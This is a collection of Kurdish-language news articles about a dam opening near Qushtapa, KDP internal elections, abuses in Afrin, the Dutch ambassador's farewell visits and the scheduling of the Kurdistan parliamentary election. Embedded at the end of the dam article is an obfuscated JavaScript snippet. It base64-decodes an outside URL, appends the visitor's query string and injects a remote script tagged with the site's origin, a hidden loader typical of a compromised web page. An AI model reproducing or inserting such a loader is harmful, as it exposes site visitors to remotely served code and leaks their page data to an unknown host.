دوهی سێشەمبی 25/6/2024 مەسرور بارزانی، سەرۆكێ حوكمەتا هەرێما كوردستانێ، د رێورەسمەكیدا (سكرێ چەمرگە) ل سنۆرێ قەزا قۆشتەپە ل پارێزگەها هەولێرێ ڤەكر كو ب گۆژمەیێ چار ملیار و 300 ملیۆن دیناران ل سەر بودجەیا حوكمەتا هەرێمێ و ب شیان و شارەزاییا ناڤخوەیێ و ل دووڤ بیڤەر و ستانداردێن جیهانی هاتییە دروستكرن و بلندییا سكری 17.5 مترن و درێژییا وی 262 متن و پانییا وی ژی هەشت مترێن دو جاركی نە.
پشتی سەرەدانا پشكێن سكری هاتییە كرن، مەسرور بارزانی د پەیڤەكێدا دیاركر كو كابینەیا نەهێ، گرنگییەكا مەزن ب بابەتێ پاراستنا سامانێ ئاڤێ و دروستكرنا سكران دایە و ئاماژەكر مە چەندین پڕۆژە ل سەرانسەری كوردستانێ ئەنجامداینە و دێ بەردەوام بین ژی كو بێگومان مفایەكێ مەزن و جۆراوجۆر دێ هەبیت.
سەرۆكێ حوكمەتێ هەروەسا ئاماژە كر كو ئەو سكر ژ ئالییەكی ڤە دشێن ئاڤێ عمباربكەن و دشیاندایە بۆ مەبەستا بكارئینانێ بۆ چاندنێ مفایەكێ مەزن ژێ بهێتە وەرگرتن و هندەك جاران ژی سكرێن مەزن بۆ بابەتێ بەرهەمئینانا وزەیا كارەبێ ژی دهێنە بكارئینان. هەروەسا ژ روویێ گەشتیاری ژی ڤە دیمەنەكێ جوان ب دەڤەرێ د بەخشن و خەلك دەمەكێ خوەش تێدا دەرباز دكەن. ژ ئالییەكێ دی ڤە سكر دشێن مەترسییا دروستبوونا لەهیان و زیانگەهاندنێ كێم بكەن.
سەرۆكێ حوكمەتێ دوپاتكر ژی كو گەلەك یا گرنگە مفای ژ ئاڤا سەر ئەرد بهێتە وەرگرتن و ئاڤا بن ئەرد گەلەك نەهێتە بكارئینان چونكە مخابن ئاڤا بن ئەرد ل هەرێما كوردستانێ ب رێژەیەكا مەترسیدار دچیتە خوارێ.
گۆت ژی» سامانێ ئاڤێ و سامانێن سروشتی تنێ یێن مە نینن بەلكو یێن نەڤیێن داهاتی ژی نە، لەوما دڤێت بپارێزین».
دیاركر ژی» ب گۆڕەی بەرنامەیێ حوكمەتا هەرێمێ مە كاركرییە كو ب باشترێن شێوە، مفای ژ سامانێ ئاڤێ وەربگرین، جهێ دلخوەشیێیە سكرێ چەمرگە تمام بوو و ل گەلەك جهێن دی ژی، سكرێن دی یێن هەین كو دێ تمام بن و هندەك ژ وان ژی یێن تمام بووین و دروستكرنا ئەڤان سكران دێ بەردەوام بیت بۆ ئەوێ چەندێ ب شێوەیەكێ زانستی مفا ژ سامانێ ئاڤێ بهێتە وەرگرتن».(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

ئەندامەكێ مەكتەبا سیاسییا پارتی دیموكراتی كوردستان راگەهاند: هەلبژارتنێن ئۆرگانان بجهئینانا پەیڕەوێ كۆنگرەیە و خوە بەرهەڤكرنە بۆ خوە نووكرنا بەرپرسیارەتیێن د ناڤ ئەوان ئۆرگاناندا، ژ ئالییەكێ دی ڤە ژی هەلبژارتنێن ئۆرگانان بۆ پێدانا وزەیەكا زێدەترە ب ئۆرگانان، هەروەسا دبێژیت: پارتی حزبەكا مەزنە و خودان سەركردەیەكێ حەكیم و خودان دۆزە.
هێمن هەورامی گۆت ژی» پارتی حزبەكا مەزنە و تنێ سال و نیڤە كۆنگرەیێ خوە یێ كری، بەلێ د نوكە دا دەست ب بجهئینانا پەیڕەوێ كۆنگرەی كرییە و هەلبژارتنان ل ئۆرگانێن خوە دكەت، هەڤدەم خوە بەرهەڤكرنە بۆ خوە نووكرنا بەرپرسیارەتیێن د ناڤ ئۆرگانێن خوە دا، ژ ئالییەكێ دی ڤە هەلبژارتنێن ئۆرگانان بۆ پێدانا وزەیەكا زێدەترە ب ئۆرگانان بۆ ئەركێن سیاسی، حزبی و هەلبژارتنان كو پارتی پەیڕەو دكەت».
هێمن هەورامی دیاركر ژی» پارتی هیچ دەمەكی ژ سیاسەتێ ناترسیت و ب ترس ڤە ژی سیاسەتێ ناكەت و ئەنجامدانا هەلبژارتنێن ئۆرگانێن وێ ژی بجهئینانا پەیڕەوییە و هەڤدەم بۆ خوەنووكرنێیە».
هەورامی باس ل ئەوێ چەندێ ژی كر» بڕیار بوو ل سالا بۆری هەلبژارتنێن ئۆرگانان بهێنە كرن، بەلێ ژڤانێ هەلبژارتنێن پەرلەمانێ كوردستانێ و هەلبژارتنێن جڤاتێن پارێزگەهێن ئیراقێ زووتر هاتبوونە دانان، لەوما هەلبژارتنێن ئۆرگانێن پارتی بۆ نوكە هاتبوونە پاشئێخستن».
هەروەسا ئاشكراكر» هۆكارێ سەرەكیێ ئەنجامنەدانا هەلبژارتنێن ئۆرگانان د دەمێ 12 سالێن بۆریدا بۆ شەڕێ داعشێ و پاشی بەلاڤبوونا ڤایرۆسێ كۆرۆنا دزڤریت».
پتر گۆت » هەلبژارتنێن ئۆرگانان پێدڤییا قۆناغەكێیە و كادرێن حزبێ ل ئۆرگانێن خوارێ داخوازا ئەنجامدانا وان دكر».
هەورامی رۆهنكر ژی» ئێك ژ ئەركێن حزبا مەزن و خودان سەركردەیەكێ حەكیم و خودان دۆز، داینامیكییەتا سیاسییە، لەوما پارتی د ئەڤی چارچۆڤەیدا دەستپێخەرییا هەی و ئەركێن قۆناغان بجه دئینیت، نەخاسمە كو پارتی باوەرییا تمام یا ب خوە هەی بۆ هەر قۆناغەكێ دەستپێشخەرییا تایبەت دێ هەبیت».
سەبارەت هەلبژارتنێن ئۆرگانان، هێمن هەورامی دبێژیت» رێنمایی هاتبوونە داڕێشتن بۆ ئەوێ چەندێ ئۆرگان ب گۆڕەی ئەوان رێنمایان و رێنمایێن پەیڕەوێ ناڤخوەیی بەرچاڤرۆهنی هەبیت».
خویاكر ژی» پارتی 14 كۆنگرە یێن گرێداین و ل هەموو هەلبژارتنێن هەرێما كوردستانێ ژی پشتی سالا 1991 و وێڤە سەركەفتییا ئێكێ بوو و هەردەم ژی بەرهەڤییان بۆ هەلبژارتنان دكەت».
هەروەسا رۆهنكر» ئەنجامدانا هەلبژارتنێن ئۆرگانان ل 17 لقان، پەیڕەوكرنا دیموكراسییەتا ناڤخوەییا د ناڤ حزبێ دایە، ب رامانا دەربڕینێ ژ گەشەپێدانا دیموكراسیێ دكەت».
هەورامی ئاماژە بۆ ئەوێ چەندێ ژی كر» ئەوا پارتی نوكە دكەت ئانكو هەلبژارتنێن ئۆرگانان، بەرچاڤكرنا شەفافییەتێ یە، 187 لژنە چووینە هەموو باژێر و باژێركێن كوردستانێ بۆ چاڤدێریكرنا ئەنجامدانا هەلبژارتنێن ئۆرگانان، وەسا یا هاتییە دانان ژی كو ئەڤ هەلبژارتنە د دەمەكێ زوو دا تمام ببن، بەلێ ژ بەر كو پێنج بازنەیێن هەلبژارتنان یێن هەین، ئەوژی بازنەیێن بنكەیان، رێكخراوان، لژنەیێن ناوچەیان، لقان و مەكتەبێن رێكخستێن پارێزگەهان، لەوما هەر هەر بازنەیەكێ تمام بیت، بازنەیەكێ دی دەست پێ دكەت و دەم بۆ هەلبژارتنێن ئۆرگانان یێ هاتییە دانان، بەلێ دبیت ل هندەك جهان ئەو دەم بهێتە درێژكرن».
سەبارەت خوونا نوو دناڤ پارتیدا، گۆت » بەردەوام چاڤدێرییا ئاستێ ژیێ دەڤەرێن دیمەگرافی دهێتە كرن، لەوما پارتی وەكو حزبەكا مەزن بەردەوام چاڤدێرییا ئاستێن ژی دكەت و ل بەرچاڤ وەردگریت ب تایبەتی د ناڤ ئۆرگانێن خوە دا».
ناڤبری دوپاتكر ژی» پارتی حزبا دەستپێشخەری و سەپرایزایە! ب ئەوێ رامانێ بەردەوام د بزاڤا چارەسەركرنا كێشەیان و پەیداكرنا رەوشەكا ئەرێنی و ئەرێنیتر بوویە و پارتی حزبا بژاردە یان تەخ و چینەكا دیاركری نینە، بەلكو دەربڕینێ ژ زۆرینەیا جەماوەری و ئاستێن جودا دكەت».
ئاماژەكر « پارتی دیموكراتی كوردستان رێكخراوترین حزبا سیاسییە نەكو ل سەر ئاستێ هەرێما كوردستانێ، بەلكو ب دیدەڤانییا هندەك ژ دەزگەهێن تایبەتمەند رێكخراوترێن حزبا سیاسییە ل سەر ئاستێ ئیراقێ و رۆژهەلاتا ناڤین».
هێمن هەورامی رۆناهی ئێخستە سەر ئەوێ چەندێ كو كار دكەن و بەرنامەیێ رژد یێ هەی بۆ پشكدارییا زێدەتر یا ئافرەتان د پڕۆسەیا سیاسیدا و د ناڤ ئۆرگانێن حزبێ، بۆ ئەڤێ مەبەستێ ژی د نوكە دا سێ ئافرەت بەرپرسێن ناوچەیانە ل سێ ناوچەیێن جودا و د ئەڤان هەلبژارتناندا دێ زێدەتر ئافرەت هێنە پێش.
سەبارەت قۆناغا ئەنجامدانا هەلبژارتنێن ئۆرگانان، گۆت » هەلبژارتنێن ئۆرگانان ب سێ قۆناغان دهێنە كرن، قۆناغا ئێكێ قۆناغا 17 لقانە ل هەرێما كوردستانێ، قۆناغا دویێ گرێدایە ب هەلبژارتنێن ئۆرگانێن لقان ل دەڤەرێن كوردستانی و قۆناغا سیێ ژی یا تایبەتە ب لقێن دەرڤە ل ئۆرۆپا و وەلاتێن دی».
ل دۆر هەلبژارتنێن پەرلەمانێ كوردستانێ و بڕیارا دادگەها فیدرالی بۆ نەهێلانا كورسیێن پێكهاتەیان و پاشی ڤەگەراندنا كورسییان، گۆت » ڤەگەراندنا پێنح كورسییان ژ ئەگەرێ پێداگیریێن پارتی بوو بەرانبەر پاراستنا مافێن پێكهاتەیان».
رۆهنكر ژی» پارتی چاڤەڕێی بڕیارا سەرۆكێ هەرێما كوردستانێ دكەت بۆ دیاركرنا ژڤانێ هەلبژارتنێن پەرلەمانێ كوردستانێ، دیاركرنا ژڤانێ هەلبژارتنان ژی دێ ب راوێژكرن بیت ل گەل هەموو ئالیێن سیاسی كو هەموو جاران ژی هەر ب راوێژكرن هاتییە دانان».
هێمن هەورامی دوپاتكر ژی كو» پارتی حزبەكا هەلبژارتنایە و هەموو دەمەكی یا بەرهەڤە بۆ هەلبژارتنان و بەربژاران د ئاستێ پێدڤیدا دیار دكەت نەخاسمە كو پارتی حزبەكا زەنگینە ب ژێدەرێن مرۆڤی یێن خوە ل هەموو ناڤەند و ئاست و ئۆرگانێن خوە دا و پارتی كارێ پەرلەمانتاریێ وەكو ئیمتیاز نادەتە كادرێن خوە، بەلكو ب كارەكێ گرنگ ددانیت كو پڕۆسەیا قانووندانانێ و چاڤدێری و چاوانییا رەفتارێیە ل گەل ئالیێن دی د ناڤ پەرلەمانیدا».
هەروەسا دوپاتركر» پارتی د هەلبژارتنێن خولا شەشێ یا پەرلەمانیدا بێی هەڤڕك دێ یا ئێكێ بیت و نوكە ئەوێن دی ململانێ ل سەر سەركەفتیێ دوێ و سیێ دكەن، هەروەسا پشكدارییا جەماوەری د هەلبژارتنێن پەرلەمانیدا دێ زێدەتر بیت ژ پشكدارییا جەماوەری د هەلبژارتنێن جڤاتێن پارێزگەهێن ئیراقێ دا كو ل سالا بۆری هاتبوونە ئەنجامدان».
ئاماژەكر ژی كو د ناڤخوەییا هندەك حزبان دا ململانێیا توند یا هەی لەوما رەوشا پارتی د ئەڤێ رەوشێدا گەلەك یا باشە و ترش ژ هەلبژارتنان نینە و یا پشتڕاستە جەماوەرێ وێ ب بەرفرەهی دێ پشكداریێ د هەلبژارتناندا كەت. هەروەسا ب پێدڤی ژی زانی هەلبژارتن د سەقایەكێ ئارام بهێنە ئەنجامدان و پاشی هەموو ئالی پێكڤە كار ل سەر باشتركرنا رەوش و ژیارا وەلاتییان و ب دەستڤەئینانا باوەرییا جەماوەری بكەن.

رێکخستنا مافێن مرۆڤی یا سەر ب نەتەوەیێن ئێکگرتی ڤە دیار دکەت گرۆپێن چەکدار ل عەفرینێ رۆژانە وەلاتیێن سڤیل دڕەڤینن و ئەشکەنجە ددەن و دکوژن، ئەو یەک ژی بنپێکرنا مافێن مرۆڤی یە و دڤێت تورکیا گرۆپێن چەکدار ژ عەفرینێ دەربێخیت و وی باژێری رادەستی رێڤەبەریەکا سڤیل بکەت.

رێکخستنا مافێن مرۆڤی یا سەر ب نەتەوەیێن ئێکگرتی ڤە راگەهاند، رۆژانە وەلاتیێن سڤیل ل باژێرێ عەفرینێ ژ ئالیێ گرۆپێن چەکدار ڤە دهێنە ڕەڤاندن، تووشی ئەشکەنجەدانێ دبن و دهێنە کوشتن، ئەو یەک ژی بنپێکرنا مافێن مرۆڤی یە و ب چو رەنگەکێ ژی ناهێتە قەبوول کرن، هندی گرۆپێن چەکدار ل باژێرێ عەفرینێ بمینن دێ رەوشا وی باژێری هەر یا ئالۆز بیت، ژ بەر ڤێ یەکێ ژی دڤێت تورکیا وان گرۆپان ژ باژێرێ عەفرینێ دەربێخیت و وی باژێری رادەستی رێڤەبەریەکا نوو و مەدەنی بکەت، ئێدی نابیت گرۆپێن چەکدار ل باژێرێ عەفرینێ بمینن.
هەمان رێکخستنێ ئەو یەک ژی دیار کریە، د شەش مەهێن بۆری دا هژمارەک زێدە ژ وەلاتیێن سڤیل ل باژێرێ عەفرینێ ژ ئالیێ گرۆپێن چەکدار ڤە هاتینە ڕەڤاندن، تووشی ئەشکەنجەدانێ بووینە و بەری دو رۆژان ژی گەنجەکێ دی ژ ئالیێ گرۆپێن چەکدار ڤە هاتیە کوشتن، ئانکۆ نها رەوشەکا نەئاسایی ل باژێرێ عەفرینێ هەیە، دڤێت گرۆپێن چەکدار ئێدی ل عەفرینێ نەمینن، هەبوونا وان گرۆپان مەترسیەکا گەلەک مەزنە ل سەر ژیانا وەلاتیێن سڤیل ل عەفرینێ، دڤێت تورکیا ب رۆلێ خوە رابیت و هەموو گرۆپێن چەکدار ژ عەفرینێ دەرخینیت و وی باژێری ژی رادەستی رێڤەبەریەکا سڤیل بکەت دا زۆرداریا نها ل سەر وەلاتیێن سڤیل ل باژێرێ عەفرینێ ژی ب دووماهی بهێت.
ئەو یەک د دەمەکێ دایە کو بەری نها ژی چەندین جاران رێکخستنا مافێن مرۆڤی یا سەر ب نەتەوەیێن ئێکگرتی و چەندین رێکخستنێن دی یێن مافێن مرۆڤی سەبارەت ب رەوشا عەفرینێ داخواز ژ تورکیا و وەلاتێن دی یێن جیهانێ کربوون کو دڤێت گرۆپێن چەکدار ژ وی باژێری بهێنە دەرخستن، چونکی هەتا گرۆپێن چەکدار ل عەفرینێ بمینن دێ رەوشا وی باژێری هەر یا ئالۆز بیت و رۆژانە ژی ژ بەر فشارێن گرۆپێن چەکدار وەلاتیێن کورد ژ نەچاریێ عەفرینێ بجه دهێلن و نها رێژەیا ئاکنجیێن کورد ل عەفرینێ گەلەک کێم بوویە و گەهشتیە ١٥٪، د دەمەکێ دا کو بەری گرۆپێن چەکدارێن سەر ب تورکیا عەفرینێ داگیر بکەن رێژەیا ئاکنجیێن وەلاتیێن کورد ل عەفرینێ نێزیکی ٩٠٪ بوو.
چاڤدێرێن سیاسی ژی دیار دکەن، هەتا گرۆپێن چەکدارێن سەر ب تورکیا ل عەفرینێ بن دێ زۆرداریا ل سەر وەلاتیێن کورد ژی بەردەوام بیت، لێ تورکیا نەڤێت د رەوشا نها دا عەفرینێ رادەستی رێڤەبەریەکا سڤیل بکەت، چونکی تورکیا دڤێت چو کورد ل عەفرینێ نەمینن و نها ژی دیمۆگرافیا عەفرینێ ب تەمامی هاتیە گوهۆڕین.

سەرۆك مسعود بارزانی دوهی ل سەلاحەددین پێشوازی ل هانس ساندی، بالیۆزێ هۆلەندا ل ئیراقێ كر.
د دیدارەكێ‌ دا بالیۆزێ هۆلەندا كو ب هەلكەفتا ب دووماهی هاتنا ئەركێ‌ وی سەرەدانا سەرۆك بارزانی كربوو، سوپاس و پێزانینێن خۆ بۆ پەیوەندیێن ل گەل هەرێمێ دیاركرن و سوپاسیا حكومەتا هەرێما كوردستانێ كر كو هەردەم د هاریكاربوون بۆ بەردەوامی و پێشئێخستنا وان پەیوەندیان د هەمی واران دا، ب تایبەتی د وارێ ئابۆری و چاندنێ‌ و وەبەرهێنانێ دا. هەروەسا بەردەوامیا هاریكاریێن وەلاتێ خوە ب ڕێكا هەڤپەیمانێن نێڤدەولەتی بۆ هێزێن پێشمەرگەیێ كوردستانێ دوپاتكر.
ژ ئالیێ خۆ ڤە، سەرۆك بارزانی پەیوەندیێن د ناڤبەرا هەردو حكومەتێن هەرێمێ و هۆلەندا دا د هەمی واران دا بلند هەلسەنگاندن و گۆت:(گەلێ كوردستانێ دۆستێن خۆ ژ بیرناكەت و سوپاسیا گەل و حكومەتا هۆلەندا كر كو ل دەمێ تەنگاڤیان دەرگەهـ بۆ ئاوارەیێن كوردستانێ ڤەكر).

دوهی دوشەمبی 24/6/2024، مەسرور بارزانی، سەرۆكێ حوكمەتا هەرێما كوردستانێ پێشوازی ل هانس ساندی، بالیۆزێ هولەندا ل ئیراقێ كر كو ب هەلكەفتا ب دووماهی هاتنا ئەركێ وی سەرەدانا سەرۆكێ حوكمەتێ كربوو.
مەسرور بارزانی، سەرۆكێ حوكمەتا هەرێمێ سوپاسییا بالیۆزێ هولەندا كر بۆ بزاڤ و كاركرنا وی ژ پێخەمەت پێشڤەبرنا زێدەتر یا پەیوەندیێن دو قۆلی.
هەروەسا سوپاس و پێزانین بۆ پشتەڤانییا بەردەوام یا هولەندا ل شەرێ بەرهنگارییا تیرۆرستێن داعشێ و پشتەڤانییا چاكسازیێن حوكمەتا هەرێما كوردستانێ د بوارێ هەمەجۆركرنا ئابۆری و ب تایبەتی كەرتێ چاندنێ كر.
سەرۆكێ حوكمەتا هەرێمێ هیڤییا سەركەفتنێ بۆ بالیۆزێ هولەندا خواست د ئەركێ وی یێ داهاتیدا.
ژ ئالیێ خوەڤە بالیۆزێ هولەندا، ئاماژە ب پەیوەندیێن ب هێز د ناڤبەرا هەرێما كوردستانێ و هولەندا كر كو رێژەیا لێكگوهارتنا بازرگانی د ناڤبەرا هەردو ئالییاندا دو جاركی زێدەتر بوویە و خواستا وەلاتێ خوە بۆ پێشڤەبرنا زێدەتر یا پەیوەندییان ل گەل حوكمەتا هەرێما كوردستانێ دوپاتكر.
دووماهی پێشهاتێن رەوشا گشتییا ئیراقێ و دەڤەرێ و گرنگییا هەلبژارتنێن پەرلەمانێ كوردستانێ د دەمەكێ گونجایدا ل ئەڤسالە، تەوەرەكێ دی یێ دانوستاندنان بوو.

پەیڤدارێ پارتی دیموكراتی كوردستان راگەهاند: ئەڤرۆ هەلبژارتنێن ئۆرگانێن پارتی دیموكراتی كوردستان دێ هێنە ئەنجامدان كو دێ دەمێ رۆژەكێ ڤەكێشیت و 17 لق پشكداریێ د هەلبژارتناندا دكەن.
مەحمود محەمەد، ئەندامێ دەستەیا كارگێرییا مەكتەبا سیاسی و پەیڤدارێ پارتی دیموكراتی كوردستان د كۆنگرەیەكێ رۆژنامەڤانیدا سەبارەت هەلبژارتنێن ئۆرگانێن پارتی دیموكراتی كوردستان گوت» ئەوا نوكە دهێتە كرن هەلبژارتنێن ئۆرگانێن ناڤخوەیێن حزبێ نە كو ب گۆڕەی بڕیارا كۆنگرەیێ 14 دڤێت بهێنە ئەنجامدان، لەوما لژنەیەكا بلند یا هاتییە دروستكرن و بۆ هەر مەكتەبەكا رێكخستنا پارێزگەهەكێ، لژنەیەكا تایبەت هاتییە دروستكرن، د هەلبژارتناندا 17 لق د پشكدارن و ئەوان ژی لژنە یێن بۆ هاتینە دیاركرن، لژنە ژی بۆ ناوچان ژی یێن هاتینە دروستكرن كو ل سنۆرێ ئەوان لقاندانە».
پەیڤدارێ پارتی گوت ژی» د ئێك دەمدا دێ دەست ب هەلبژارتنان هێتە كرن، ل سێشەمبی هەلبژارتن بۆ ستافێ ئۆرگانێن ژ بنكەی هەتا سەری دەست پێ دكەت و چەندین رۆژان دێ بەردەوام بیت، ب گۆڕەی قەبارەیێ ئۆرگانان، چونكە دبیت هەموو وەكو ئێك تمام نەبن».
مەحمود محەمەد ئاماژە ب ئەوێ چەندێ ژی كر» سەدان كادرێن پێشكەفتی د ناڤ لژنەیان دانە بۆ بڕێڤەبرنا كاران، هەروەسا پترییا هەڤالێن مەكتەبا سیاسی و هەڤالێن لژنەیا ناڤەندی و كادرێن كەڤن كو بەرپرسێن لقان بوون و رۆل هەبوو د كارێ حزبایەتیێ دا دناڤ لژنەیان دانە».
پەیڤدارێ پارتی دیاركر ژی» ب گۆڕەی ئەوی سیستەمێ ل پەیڕەوێ ناڤخوەیێ حزبێ دا هەی ل دەستپێكێ هەلبژارتن ژ خوارێ دێ دەستپێكەن ئانكو ل بنكان و پشتی ب دووماهی هاتنێ ژ بنەكان دێ رێكخراو هێنە هەلبژارتن پاشی دێ سنۆرێ ناوچان هێنە هەلبژارتن، پاشی هەموو پێكڤە دێ لقەكێ هەلبژێرن، دەمێ ئەو ب دووماهی دهێن لقێن سنۆرێ مەكتەبا رێكخستنا هەر پارێزگەهەكێ دێ بەرپرسێن پشكێن ناڤ مەكتەبا رێكخستنێ هەلبژێرن».
مەحمود محەمەد ئاماژەكر» مەرج نوكە ناهێنە دیاركرن بۆ چاوانییا هەلبژارتنان، بەلكو مەرج دناڤ پەیڕەوێ ناڤخوە دا هاتینە دیاركرن، هەڤدەم رێنماییێن دیاركری ژی یێن هەین بۆ چاوانییا شرۆڤەكرنا ئەوان مەرجێن د ناڤ پەیڕەوێ ناڤخوەیی دا هەین، ئانكو هەم مە پەیڕەو یێ هەی و هەم ژی رینمایی و شرۆڤەكرنا پەیڕەوی ژی مە یا هەی بۆ ئەوێ چەندێ ئەو پڕۆسە ب شێوەیەكێ سەركەفتی بهێتە ئەنجامدان».
هەڤدەم د كۆنفرانسێ رۆژنامەڤانیدا مەحمود محەمەد رۆهنكر» ئەوا ئەڤرۆ دهێتە ئەنجامدان هەلبژارتنێن ئۆرگانێن حزبێ یە، دەمەكە مە نیاز هەبوو ئەوان هەلبژارتنێن ناڤخوەیی ئەنجام بدەین بەلێ ژ ئەگەرێ ئەوان روودانێن كو دهاتنە پێش د شیاندا نەبوو بهێنە ئەنجامدان، لەوما ب پێدڤی هاتە زانین ئەڤێ پڕۆسەیێ دەست پێ بكەین، هەروەسا پڕۆسەیەكا دی یا گرنگ یا ل بەراهییا مە ئەوژی هەلبژارتنێن پەرلەمانێ كوردستانێ نە».
پەیڤدارێ پارتی باس ل ئەوێ چەندێ ژی كر» مە دەستەیەكا دی یا هەی ئەو ژی دەستەیا چاڤدێریێ و دووڤچوونێیە بۆ هەلبژارتنێن ناڤخوەیی ئەڤە ژی بۆ ئەوێ چەندێیە كو چاڤدێرییا پڕۆسەیێ بكەت و هیچ كێشەیەك دروست نەبیت، هەر هەڤالەكێ گازندەیەك هەبیت دێ دەستەیا چاڤدێرییا و دووڤچوونێ چارەسەركەت».
مەحمود محەمەد ئاماژەكر» كادرێن ئافرەت دێ پشكدار بن ژ بنكەیان هەتا لقان، ئانكو ئافرەت ب كۆتا پشكدار نابن بەلكو دڤێت ب رێژە پشكدار بن، چونكە د پەیڕەوی دا پشكدارییا ئافرەتێ كرییە بڕیار».

سەرۆكایەتییا هەرێما كوردستانێ ل گەل حزب و ئالیێن سیاسی یێن كوردستانێ د پەیوەندیێ دایە بۆ دیاركرنا ژڤانێ نوو یێ هەلبژارتنێن پەرلەمانێ كوردستانێ، حزبێن سیاسی یێن كوردستانی بۆچوونا خوە ئێخستییە پێشبەری سەرۆكایەتییا هەرێما كوردستانێ و هەموو پێشهات بە ر ب ئەوێ چەندێ نە كو هەلبژارتنێن پەرلەمانێ كوردستانێ ل مەها 10 یا ئەڤسالە بهێنە ئەنجامدان.
ل دووڤ پێزانینان، پەیوەندی و راوێژل سەرۆكایەتییا هەرێما كوردستانێ ل گەل حزب و ئالیێن سیاسی ل هەرێما كوردستانێ یا دەستپێكری بۆ دیاركرنا ژڤانەكێ نوو بۆ هەلبژارتنێن خولا شەشێ یا پەرلەمانێ كوردستانێ. سەرۆكایەتییا هەرێمێ ل گەل هندەك ئالیێن سیاسی راوێژ كرییە و ل رۆژێن داهاتی دێ ل گەل هندەك ئالیێن دی ژی كەت. بۆ ئەوێ مەبەستێ ژی ئالیێن سیاسی ل هەرێما كوردستانێ بۆچوونێن خوە ئێخستینە پێشبەری سەرۆكایەتییا هەرێما كوردستانێ.
باپیر كاكەمەلا، سكرتێرێ حزبا رەنجدەرێن كوردستانێ دیاركر» وەكو هەموو جارێن دی سەرۆكایەتییا هەرێما كوردستانێ راوێژ ل گەل ئالیێن سیاسی ل هەرێما كوردستانێ كرییە و دبیت ل ناڤەڕاستا مەها چریا ئێكی یا بهێت دا هەلبژارتنێن پەرلەمانێ كوردستانێ بهێنە ئەنجامدان، چونكە كۆمسیۆنا بلند یا سەربخوە یا هەلبژارتنان ل ئیراقێ هەر ژ رۆژا دیاركرنا ژڤانێ هەلبژارتنان پێدڤی ب 100 رۆژان یا هەی بۆ خوە بەرهەڤكرنێ بۆ ئەنجامدانا هەلبژارتنان».
ژ ئالیێ خوەڤە بێستون حەمە سالح، بەرپرسێ مەكتەبا هەلبژارتن یا كۆمەلا دادگەریل كوردستانێ د داخۆیانییەكا رۆژنامەڤانیدا گوت» سەرۆكایەتییا هەرێما كوردستانێ پەیوەندی ب هەموو ئالیێن سیاسی كرییە بۆ ئەوێ چەندێ بۆچوونێن وان ل دۆر ژڤانێ هەلبژارتنێن پەرلەمانێ كوردستانێ وەربگریت، چاڤەڕێ ژی دهێتە كرن د ئەڤێ حەفتیێدا ژڤانێ هەلبژارتنان بهێتە دیاركرن».
هەروەسا دیاركر» مە هیچ پێشنیازەك بۆ دیاركرنا ژڤانێ هەلبژارتنێن پەرلەمانێ كوردستانێ بەرچاڤ نەكرییە، بەلێ هەر هەر ژڤانەك بهێتە دیاركرن پێدڤییە هەموو ئالیێن سیاسی پێگیر پێ و ئەو ژڤان نەهێتە گوهۆڕین».
كۆمسیۆنا بلند یا سەربخوە یا هەلبژارتنان ل ئیراقێ دێ هەلبژارتنێن خولا شەشێ یا پەرلەمانێ كوردستانێ بڕێڤەبەت، بیستون حەمە سالح دبێژیت» گرنگە بەری ب دووماهی هاتنا ژیێ كۆمسیۆنا بلند یا سەربخوە یا هەلبژارتنان ل ئیراقێ كو ژیێ وێ ل (7/1/2025) دێ ب دووماهی هێت، هەلبژارتنێن پەرلەمانێ كوردستانێ بهێنە ئەنجامدان».
ناڤبری ئاماژەكر» ئالیێن سیاسی ل هەرێما كوردستانێ زێدەتر باس ل ژڤانەكی دكەن بۆ ئەنجامدانا هەلبژارتنێن پەرلەمانێ كوردستانێ كو د ناڤبەرا 15/10/2024 بۆ 1/11/2024 دا بیت».
پێشتر ژی كۆمسیۆنا بلند یا سەربخوە یا هەلبژارتنان ل ئیراقێ بۆ بڕێڤەبرنا هەلبژارتنا خولا شەشێ یا پەرلەمانێ كوردستانێ، رۆژا 5/9/2024 پێشنیازكربوو و ب نڤیسارەكا فەرمی ژی پێشنیازا خوە ئاراستەی سەرۆكایەتییا هەرێما كوردستانێ كربوو.
ل رۆژا شەمبیێ 4/6/2024، جومانە غەلای، پەیڤدارا كۆمسیۆنا بلند یا سەربخوە یا هەلبژارتنان ل ئیراقێ د داخۆیانییەكا رۆژنامەڤانیدا راگەهاندبوو» جڤاتا كۆمسیاران رازیبوون ل سەر بڕیارا زڤرینا پێنج كورسییان بۆ پێكهاتەیان ل پەرلەمانێ كوردستانێ نیشاندایە، كورسیێن پێكهاتەیان ژی ب ئەڤی شێوەی ب سەر پارێزگەهاندا دێ هێنە بەلاڤكرن: ل پارێزگەها هەولێر 34 كورسی دو كورسی ژ وان بۆ پێكهاتەیێن توركمان و كریستییان، ل پارێزگەها سلێمانیێ 38 كورسی كو دو كورسی بۆ پێكهاتەیێن توركمان و كریستییان، ل پارێزگەها دهۆكێ 25 كورسی كو ئێك كورسی بۆ پێكهاتەیێ كریستییان، ل پارێزگەها هەلەبجە سێ كورسێ كو هیچ كورسییەك بۆ پێكهاتەیان نەهاتە تەرخانكرن.
ئەڤە د دەمەكی دایە، پێشتر دەستەیا دادوەرییا هەلبژارتنان كو سەر ب جڤاتا بلند یا دادوەری ل ئیراقێ ڤەیە، د بەرسڤا هەژمارەكا سكالایێن هاتینە پێشێشكرن ژ ئالیێ پێكهاتەیێن هەرێما كوردستانێ ڤە، بڕیار دا ژ 100 كورسیێن پەرلەمانێ كوردستانێ، پێنج كورسی بۆ پێكهاتەیان بهێنە تەرخانكرن. ئانكو 95 كورسی دێ گشتی بن، پێنح كورسیێن دی ژی دێ تایبەت بن بۆ پێكهاتەیان.
ل 21/5/2024، دادگەها فیدرالییا بلند ل ئیراقێ بڕیارا دەستەیا دادوەرییا هەلبژارتنان پەسەندكربوو.

پاتریاركێ كلدانی ل ئیراقێ و جیهانێ پەیامەكێ سوپاسیێ ئاراستەی سەرۆك بارزانی، نێچیرڤان بارزانی سەرۆكێ هەرێما كوردستانێ و مەسرور بارزانی، سەرۆكێ حوكمەتا هەرێما كوردستانێ دكەت و تێدا دبێژیت: من سوپاسی و پێزانین بۆ سەركردایەتییا هەرێما كوردستانێ یێن هەین.
